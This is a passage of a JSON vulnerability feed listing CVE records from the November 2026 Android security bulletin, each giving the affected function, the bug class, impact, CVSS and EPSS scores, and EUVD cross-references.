exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00095,"ranking_epss":0.00624,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:51","euvd":{"id":"EUVD-2026-115388","description":"In moveTaskToFrontLocked of ActivityTaskManagerService.java, there is a possible background application launch (bal) issue due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:14","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58945","summary":"In multiple locations, there is a possible side channel information leak due to improperly used crypto. This could lead to paired device information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00119,"ranking_epss":0.01786,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:51","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58946","summary":"In navigateUpTo of ActivityClientController.java, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.0011,"ranking_epss":0.01264,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:51","euvd":{"id":"EUVD-2026-115390","description":"In navigateUpTo of ActivityClientController.java, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:17","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58949","summary":"In parseMetaData of StagefrightMetadataRetriever.cpp, there is a possible denial of service due to a stack buffer overflow. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00163,"ranking_epss":0.05548,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:51","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58951","summary":"In multiple locations, there is a possible permission bypass due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01922,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:51","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58953","summary":"In dec_vlc_read of oapv_vlc.c, there is a possible out-of-bounds read due to a heap buffer overflow. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00163,"ranking_epss":0.05548,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:51","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58882","summary":"In decodeWapPdu of WapPushOverSms.java, there is a possible out of bounds read due to an integer overflow. This could lead to a remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00188,"ranking_epss":0.0854,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:50","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58883","summary":"In multiple locations, there is a possible denial of service due to a logic error in the code. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00168,"ranking_epss":0.0622,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:50","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58884","summary":"In startTetheredHotspotRequest of WifiServiceImpl.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00101,"ranking_epss":0.00881,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:50","euvd":{"id":"EUVD-2026-115607","description":"In startTetheredHotspotRequest of WifiServiceImpl.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:04","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58885","summary":"In multiple locations, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00101,"ranking_epss":0.00881,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:50","euvd":{"id":"EUVD-2026-115608","description":"In multiple locations, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:05","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58886","summary":"In updateInputWindows of InputMonitor.java, there is a possible tapjacking issue due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00148,"ranking_epss":0.04008,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:50","euvd":{"id":"EUVD-2026-115609","description":"In updateInputWindows of InputMonitor.java, there is a possible tapjacking issue due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.","published_time":"2026-11-02T19:54:06","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58933","summary":"In process of C2SoftApvDec.cpp, there is a possible out-of-bounds read due to a logic error in the code. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":0.00168,"ranking_epss":0.0622,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:50","euvd":{"id":"EUVD-2026-115610","description":"In process of C2SoftApvDec.cpp, there is a possible out-of-bounds read due to a logic error in the code. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:07","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58934","summary":"In prepareWindowToDisplayDuringRelayout of WindowState.java, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.0011,"ranking_epss":0.01263,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:50","euvd":{"id":"EUVD-2026-115611","description":"In prepareWindowToDisplayDuringRelayout of WindowState.java, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:08","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58936","summary":"In png_set_tRNS of pngset.c, there is a possible memory corruption due to a use-after-free. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00172,"ranking_epss":0.06662,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:50","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58937","summary":"In multiple locations, there is a possible persistent denial of service due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01472,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:50","euvd":{"id":"EUVD-2026-115384","description":"In multiple locations, there is a possible persistent denial of service due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:10","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58866","summary":"In setAccessibilityWindowAttributes of AccessibilityWindowManager.java, there is a possible untrusted/misleading UI issue due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00095,"ranking_epss":0.00624,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:49","euvd":{"id":"EUVD-2026-115596","description":"In setAccessibilityWindowAttributes of AccessibilityWindowManager.java, there is a possible untrusted/misleading UI issue due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:53","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58867","summary":"In getMessenger of WifiP2pServiceImpl.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01922,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:49","euvd":{"id":"EUVD-2026-115597","description":"In getMessenger of WifiP2pServiceImpl.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:54","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58868","summary":"In onOutputReceived of FrameDecoder.cpp, there is a possible out-of-bounds write due to a heap buffer overflow. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00211,"ranking_epss":0.11332,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:49","euvd":{"id":"EUVD-2026-115598","description":"In onOutputReceived of FrameDecoder.cpp, there is a possible out-of-bounds write due to a heap buffer overflow. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:55","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58870","summary":"In onPersistentGroupsChanged of WifiP2pServiceImpl.java, there is a possible permission bypass due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01924,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:49","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58871","summary":"In set_type4_frame_classifier of sta_iface.cpp, there is a possible memory safety issue due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00116,"ranking_epss":0.01605,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:49","euvd":{"id":"EUVD-2026-115600","description":"In set_type4_frame_classifier of sta_iface.cpp, there is a possible memory safety issue due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:57","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58875","summary":"In multiple locations, there is a possible denial of service due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01473,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:49","euvd":{"id":"EUVD-2026-115601","description":"In multiple locations, there is a possible denial of service due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:58","cvss":6.2,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58876","summary":"In multiple locations, there is a possible memory safety issue due to a use-after-free. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00172,"ranking_epss":0.06662,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:49","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58877","summary":"In checkNearbyDevicesPermission of WifiP2pServiceImpl.java, there is a possible permission bypass due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":4.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.0,"cvss_v4":null,"epss":0.00121,"ranking_epss":0.01923,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:49","euvd":{"id":"EUVD-2026-115603","description":"In checkNearbyDevicesPermission of WifiP2pServiceImpl.java, there is a possible permission bypass due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:00","cvss":4.0,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58879","summary":"In descramble of multiple files, there is a possible out-of-bounds write due to improper casting. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01472,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:49","euvd":{"id":"EUVD-2026-115604","description":"In descramble of multiple files, there is a possible out-of-bounds write due to improper casting. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:54:01","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58836","summary":"In handlePackagePostInstall of InstallPackageHelper.java, there is a possible Enhanced Confirmation Mode (ECM) bypass vulnerability that allows a sideloaded application to modify the package source during a self-update due to a logic error in the code. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":0.00104,"ranking_epss":0.0103,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:48","euvd":{"id":"EUVD-2026-115588","description":"In handlePackagePostInstall of InstallPackageHelper.java, there is a possible Enhanced Confirmation Mode (ECM) bypass vulnerability that allows a sideloaded application to modify the package source during a self-update due to a logic error in the code. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:45","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58837","summary":"In multiple locations, there is a possible background activity launch due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00103,"ranking_epss":0.00988,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:48","euvd":{"id":"EUVD-2026-115589","description":"In multiple locations, there is a possible background activity launch due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:46","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58838","summary":"In multiple functions of Helpers.java, there is a possible information disclosure due to improper input validation. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.01474,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:48","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-58844","summary":"In multiple locations, there is a possible out of bounds read/write due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00314,"ranking_epss":0.24355,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/2f86c81dc9453ed385c4f0703d6bd664d0997567","https://android.googlesource.com/kernel/common/+/329d7c6e7215f52bb5922b4bcaa6bf713fa4ccff","https://android.googlesource.com/kernel/common/+/7d6d4a26e7ead0bc501f3ed6809a66c2f3d49365","https://android.googlesource.com/kernel/common/+/82cd807f41d89d5cf2b4c3ac7affdb91188baea7","https://android.googlesource.com/kernel/common/+/8c62fa09cc8a04cbaaa5d00b5dcd51279bee3bdb","https://android.googlesource.com/kernel/common/+/d518f4cc29a9a95f631c8c811fe6791ad08c4f56","https://android.googlesource.com/kernel/common/+/d9b4efaed7a573d245dc5873c7d6c304a9936fdd","https://android.googlesource.com/kernel/common/+/f0a3950f0fa3988e9af43b5656f72fa675672c82","https://android.googlesource.com/kernel/common/+/f4633d3767965e89b835bca04981b67cc8aa78bd","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:48","euvd":{"id":"EUVD-2026-115591","description":"In multiple locations, there is a possible out of bounds read/write due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:48","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/329d7c6e7215f52bb5922b4bcaa6bf713fa4ccff","https://android.googlesource.com/kernel/common/+/f4633d3767965e89b835bca04981b67cc8aa78bd","https://android.googlesource.com/kernel/common/+/8c62fa09cc8a04cbaaa5d00b5dcd51279bee3bdb","https://android.googlesource.com/kernel/common/+/f0a3950f0fa3988e9af43b5656f72fa675672c82","https://android.googlesource.com/kernel/common/+/7d6d4a26e7ead0bc501f3ed6809a66c2f3d49365","https://android.googlesource.com/kernel/common/+/82cd807f41d89d5cf2b4c3ac7affdb91188baea7","https://android.googlesource.com/kernel/common/+/2f86c81dc9453ed385c4f0703d6bd664d0997567","https://android.googlesource.com/kernel/common/+/d518f4cc29a9a95f631c8c811fe6791ad08c4f56","https://android.googlesource.com/kernel/common/+/d9b4efaed7a573d245dc5873c7d6c304a9936fdd","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58845","summary":"In multiple locations, there is a possible out of bounds write due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00162,"ranking_epss":0.05428,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/3b9b40df51bda90ffb2833dcef11905e751dafdb","https://android.googlesource.com/kernel/common/+/ed0e57e1e27a9eecd6c1a3dd1dd9ed1b8d1a06b4","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:48","euvd":{"id":"EUVD-2026-115592","description":"In multiple locations, there is a possible out of bounds write due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:49","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/3b9b40df51bda90ffb2833dcef11905e751dafdb","https://android.googlesource.com/kernel/common/+/ed0e57e1e27a9eecd6c1a3dd1dd9ed1b8d1a06b4","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58847","summary":"In kvm_vfio_pviommu_attach of vfio.c, there is a possible double free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":0.00154,"ranking_epss":0.04518,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://android.googlesource.com/kernel/common/+/8c62fa09cc8a04cbaaa5d00b5dcd51279bee3bdb","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:48","euvd":{"id":"EUVD-2026-115593","description":"In kvm_vfio_pviommu_attach of vfio.c, there is a possible double free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:50","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://android.googlesource.com/kernel/common/+/8c62fa09cc8a04cbaaa5d00b5dcd51279bee3bdb","https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58853","summary":"In multiple functions of ipphelper.c, there is a possible stack bugger overflow due to a missing bounds check. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":0.00355,"ranking_epss":0.29303,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:48","euvd":{"id":"EUVD-2026-115594","description":"In multiple functions of ipphelper.c, there is a possible stack bugger overflow due to a missing bounds check. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:51","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58857","summary":"In decrypt of CryptoHalHidl.cpp, there is a possible use-after-free due to a race condition. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.00208,"ranking_epss":0.10926,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:48","euvd":{"id":"EUVD-2026-115595","description":"In decrypt of CryptoHalHidl.cpp, there is a possible use-after-free due to a race condition. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.","published_time":"2026-11-02T19:53:52","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"google_android","references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"products":["Android","Android","Android","Android","Android"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-58817","summary":"In parseKnownActivityEmbeddingCerts of ParsingUtils.java, there is a possible permanent denial of service due to improper input validation. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.","cvss":6.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.2,"cvss_v4":null,"epss":0.00114,"ranking_epss":0.0147,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://source.android.com/docs/security/bulletin/2026/2026-11-01"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-02T20:17:47","euvd":{"id":"EUVD-2026-115580","description":"In parseKnownActivityEmbeddingCerts of ParsingUtils.java, there is a possible permanent denial 